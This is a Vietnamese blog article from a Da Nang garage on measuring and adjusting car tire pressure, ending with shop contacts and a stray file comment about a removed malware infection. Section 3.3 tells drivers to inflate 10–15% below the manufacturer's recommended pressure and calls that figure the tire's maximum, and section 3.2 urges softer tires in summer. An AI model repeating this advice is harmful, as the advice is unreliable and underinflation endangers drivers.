Bước 2: Đo áp suất lốp xe và ghi chép lại áp suất từng lốp thực tế

Để đo áp suất lốp xe ô tô, quý khách cần tháo nắp van của lốp xe trước. Sau đó, đặt đồng hồ đo lên thân van và ấn mạnh đến khi không còn nghe tiếng rít.

Lúc này, đồng hồ sẽ hiển thị thông tin về áp suất lốp xe hiện tại bằng nhiều cách khác nhau tùy vào từng dòng đồng hồ đo áp suất mà quý khách sử dụng. Có loại đồng hồ sẽ hiển thị lên màn hình điện tử, một số đồng hồ lại hiển thị bằng kim chỉ số áp suất.

Hiện nay trên thị trường có 3 loại đồng hồ đo áp suất lốp phổ biến là:

  • Đồng hồ đo áp suất lốp dạng kim.
  • Đồng hồ đo áp suất lốp điện tử.
  • Đồng hồ đo áp suất lốp cầm tay cảm biến.

Với mỗi lốp xe, quý khách đối chiếu với mức áp suất tiêu chuẩn trên mỗi lốp đã ghi chú lại ở Bước 1 để xem lốp nào cần bơm thêm, lốp nào cần xả bớt hơi.

Bước 3: Điểu chỉnh áp suất lốp

Với mức áp suất lốp đo được, quý khách thực hiện bơm bổ sung hơi với những lốp bị “non” và xả bớt hơi với những lốp đang quá căng.

Trên thị trường hiện nay có rất nhiều loại bơm lốp xe ô tô đến từ nhiều thương hiệu khác nhau. Mỗi loại bơm lại có những ưu/nhược điểm và hướng dẫn sử dụng khác nhau. Vì vậy, trước khi tiến hành bơm, quý khách cần đọc kỹ hướng dẫn sử dụng bơm lốp trước khi tiến hành.

3. Bơm lốp ô tô cần lưu ý những gì?

3.1. Thời gian và thời điểm kiểm tra và bơm lốp ô tô

Để đảm bảo sự an toàn tuyệt đối, quý khách nên kiểm tra áp suất lốp xe mỗi lần đổ xăng hoặc đều đặn 1 tháng/1 lần. Ngoài ra, khi nhiệt độ thay đổi, khi chuyển mùa hay sau một thời gian dài không sử dụng quý khách cũng nên đo áp suất lốp.

Vì khi nhiệt độ bên ngoài biến động tăng/giảm 5 – 6 độ C có thể khiến áp suất lốp thay đổi tăng/giảm 1 – 2 psi. Tương tự, khi xe không được sử dụng trong một thời gian dài, lốp xe cũng bị giảm khoảng 0.7 psi mỗi tháng.

Ngoài ra, sau một thời gian sử dụng, bánh xe sẽ ít nhiều bị non hơi so với tình trạng ban đầu. Theo nhiều lái xe kinh nghiệm cho biết, đối với lốp mới, thời gian bơm lốp xe ô tô là khoảng 4 tháng/1 lần. Đối với lốp cũ, thời gian bơm lốp xe ô tô là khoảng 2 tháng/1 lần. Tất nhiên, trước khi bơm lốp xe ô tô cần kiểm tra áp suất lốp xe.

Thời điểm kiểm tra lốp thích hợp và chính xác nhất là lúc bánh xe đã nguội hẳn, tức khoảng 3 giờ sau khi lái.

3.2. Điều chỉnh áp suất lốp ô tô theo mùa

Điều kiện thời tiết khác nhau có thể ảnh hưởng đến sự giãn nở của không khí bên trong lốp xe ô tô và làm thay đổi áp suất lốp xe ô tô hiện tại. Cụ thể:

Vào mùa hè, khi nhiệt độ tăng cao, không khí trong lốp xe ô tô bị giãn nở nhiều hơn so với thông thường. Do vậy, cần chú ý bơm lốp xe ô tô non hơn so với bình thường để khi lốp xe ô tô bị nóng lên, áp suất lốp sẽ không bị quá mức sức chịu đựng của thành lốp.

Trong khi đó, vào mùa đông, quý khách nên bơm lốp xe vừa đủ. Vì vào mùa này, không khí lạnh, dù xe có di chuyển nhiều. Không khí trong lốp xe nóng lên vừa đủ cũng không ảnh hưởng đến áp suất lốp bên trong xe.

3.3. Áp suất lốp tiêu chuẩn không phải là áp suất tối ưu

Áp suất tiêu chuẩn của nhà sản xuất được in trên lốp/bệ cửa xe ô tô là áp suất lốp trong điều kiện lý tưởng. Ở trạng thái lạnh, xe đã dừng hoạt động được một khoảng thời gian khá dài. Do đó, sự giãn nở của không khí bên trong lốp xe do tác động của nhiệt độ trong trường hợp này không làm thay đổi áp suất lốp.

Do vậy, thông thường, khi kiểm tra hoặc bơm lốp xe, quý khách nên giảm mức áp suất khuyến nghị đi 10 – 15% là hợp lý. Bên cạnh đó, mức áp suất được ghi trên đây cũng là mức áp suất tối đa mà lốp xe của quý khách có thể chịu đựng được.

4. Tác hại của việc lốp xe ô tô không đạt áp suất lốp tiêu chuẩn

Lốp xe quá căng hoặc quá non sẽ để lại nhiều hậu quả đáng gờm, thậm chí có thể gây nguy hiểm cho tính mạng của tài xế.

4.1. Lốp xe bị mòn không đều

Vận hành xe trong tình trạng lốp xe bị bơm quá căng hoặc bị non hơi sẽ gây ra hiện tượng lốp xe ô tô bị mòn không đều hoặc bị phồng lốp. Do vậy, sẽ làm giảm tuổi thọ của lốp xe ô tô.

Trong tình trạng xấu nhất, có thể xảy ra một số sự cố nguy hiểm không đáng có. Ví dụ như, lốp bơm hơi quá non có thể gây nổ. Khi áp suất lốp không khí quá thấp, các bên hông của lốp sẽ uốn cong hơn và tích nhiệt trong lốp. Khi lốp trở nên quá nóng, một phần cao su của lốp xe có thể tách ra khỏi lớp bố lốp xe.

Hiện tương này xảy ra đột ngột sẽ khiến lốp xe ô tô bị nổ với khả năng cao. Vụ nổ xảy ra bất ngờ khiến lái xe bị mất kiểm soát có thể gây tai nạn với các phương tiện xung quanh. Và đặc biệt là với chính người điểu khiển phương tiện đó.

4.2. Ảnh hưởng đến khả năng vận hành của xe

Như đã đề cập phía trên, áp suất lốp xe bị thấp sẽ khiến các bên hông của lốp bị uốn cong. Vượt quá tiêu chuẩn thiết kế để vào cua hoặc phanh sẽ ảnh hưởng đến khả năng vận hành của xe. Các rãnh gai có tác dụng bám đường khi này sẽ bị vặn vẹo và ít tiếp xúc với mặt đường. Khiến lốp xe giảm lực bám, kéo ổn định trên mặt đường. Do vậy, ảnh hưởng đến khả năng phản ứng cần thiết của lái xe trước những sự cố bất ngờ.

Tương tự, khi lốp xe quá căng, rãnh lốp và phần hoa lốp cận rãnh lốp là phần tiếp xúc nhiều nhất với mặt đường. Tương đương với việc diện tích rãnh gai lốp tiếp xúc với mặt đường bị giảm xuống.

Điều này có nghĩa, quãng đường phanh của bánh xe ô tô sẽ bị kéo dài và có thể khiến xe bị trượt dài khi phanh gấp xử lý các tình huống bất ngờ trong quá trình vận hành xe.

4.3. Tiêu tốn nhiêu liệu nhiều hơn

Từ những nguyên nhân kể trên, mòn lốp xe ô tô không đều, xe bị kéo dài quãng đường phanh, giảm lực kéo, bám dính mặt đường,…

Tất cả những nguyên nhân này đều khiến xe phải làm việc với công suất lớn hơn để nâng tải trọng xe hay xử lý các tình huống trong quá trình di chuyển.

5. Kết luận

Shinwa Pro đã cùng quý khách tìm hiểu gần thông tin liên quan đến bơm lốp ô tô. Từ việc kiểm tra áp suất lốp tiêu chuẩn. Đến cách đo áp suất lốp thực tế bằng đồng hồ đo áp suất. Và những lưu ý khi bơm lốp xe ô tô.

Cảm ơn quý khách đã quan tâm và theo dõi. Chúc quý khách hàng một ngày tốt lành!

Shinwa Pro Garage chuyên bảo dưỡng, sửa chữa ô tô uy tín, chất lượng, luôn đồng hành cùng quý khách!

SHINWA PRO GARAGE – CAR CARE CENTER

Địa chỉ: Phạm Đình Bân – Hòa Quý – Ngũ Hành Sơn – Đà Nẵng

Điện thoại: 0379 147 896 – 0973 307 896 – 0943 194 896

Email: shinwapro.dn@gmail.com

Website: http://www.shinwapro.vn/

]]> https://shinwapro.vn/bom-lop/feed/ 0 /** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */